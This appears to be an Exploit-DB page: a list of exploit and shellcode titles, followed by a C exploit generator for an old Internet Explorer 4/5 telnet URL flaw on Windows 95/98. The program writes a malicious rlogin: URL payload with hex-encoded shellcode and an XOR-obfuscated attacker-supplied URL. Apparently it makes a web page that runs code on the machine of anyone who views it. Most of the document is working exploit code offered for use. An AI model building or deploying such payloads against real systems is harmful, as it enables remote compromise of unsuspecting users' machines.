
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
134 lines
No EOL
5.5 KiB
C
134 lines
No EOL
5.5 KiB
C
// source: https://www.securityfocus.com/bid/586/info
|
|
|
|
Windows 95 and 98 systems running IE4 or specific versions of IE5 (5.00.2314.1003 and 5.00.2314.1003IC) are susceptible to a remote vulnerability that allows the execution of arbitrary code on a target that views a malicious web page. This vulnerability is due to a combination of two different weaknesses:
|
|
|
|
First, the Windows 95 and 98 telnet.exe is vulnerable to a buffer overflow condition. While preparing the Connect Failed message box, there is an unchecked input buffer of 255 characters, and sending more than that will overwrite the heap.
|
|
|
|
Second, IE5 will start an instance of telnet.exe if passed any of the following URL types: rlogin:, telnet: or tn3270:. Earlier versions of IE5 allowed only two parameters to be passed in these URLs, but the most recent ones, listed above, will allow any number of parameters to be passed, up to a total of approximately 460 bytes. This is enough for an attacker to create a URL that will start an instance of telnet on the client machine, and pass it the overrun code he or she wants executed.
|
|
|
|
The exploit runs when the telnet window is closed.
|
|
|
|
#include <stdio.h>
|
|
#include <afx.h>
|
|
#include <windows.h>
|
|
|
|
|
|
void Usage( void ) {
|
|
printf( "Usage: exfact url(40) outfile\n" );
|
|
}
|
|
|
|
#define URL_OFFSET 48
|
|
|
|
unsigned char aSploit[] = {
|
|
0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,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x04, 0x83,
|
|
0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
|
|
0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
|
|
0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
|
|
0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
|
|
0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
|
|
0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
|
|
0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
|
|
0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
|
|
0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
|
|
0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
|
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56,
|
|
};
|
|
|
|
|
|
int main( int argc, char *argv[] ) {
|
|
|
|
if( argc == 3 ) {
|
|
DWORD dwURLlen = strlen( argv[ 1 ] )+1;
|
|
if( dwURLlen < 40 ) {
|
|
HANDLE h = CreateFile(
|
|
argv[ 2 ],
|
|
GENERIC_WRITE,
|
|
0,
|
|
NULL,
|
|
CREATE_ALWAYS,
|
|
0,
|
|
0 );
|
|
|
|
if ( h == INVALID_HANDLE_VALUE ) {
|
|
printf( "Error creating %s\n", argv[ 2 ] );
|
|
return( 0 );
|
|
}
|
|
|
|
DWORD dwWrit = 0;
|
|
if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||
|
|
( dwWrit != URL_OFFSET ) )
|
|
goto writeerr;
|
|
|
|
for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )
|
|
*PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use htons?
|
|
*PWORD( p ) ^= 0xdefa;
|
|
|
|
if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||
|
|
( dwWrit != dwURLlen ) )
|
|
goto writeerr;
|
|
|
|
DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );
|
|
if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,
|
|
&dwWrit, NULL ) || ( dwWrit != dwToWrite ) )
|
|
goto writeerr;
|
|
|
|
CloseHandle( h );
|
|
|
|
return( 0 );
|
|
}
|
|
}
|
|
|
|
Usage();
|
|
return( 1 );
|
|
|
|
writeerr:
|
|
printf( "Error writing to %s\n", argv[ 2 ] );
|
|
return( 2 );
|
|
} |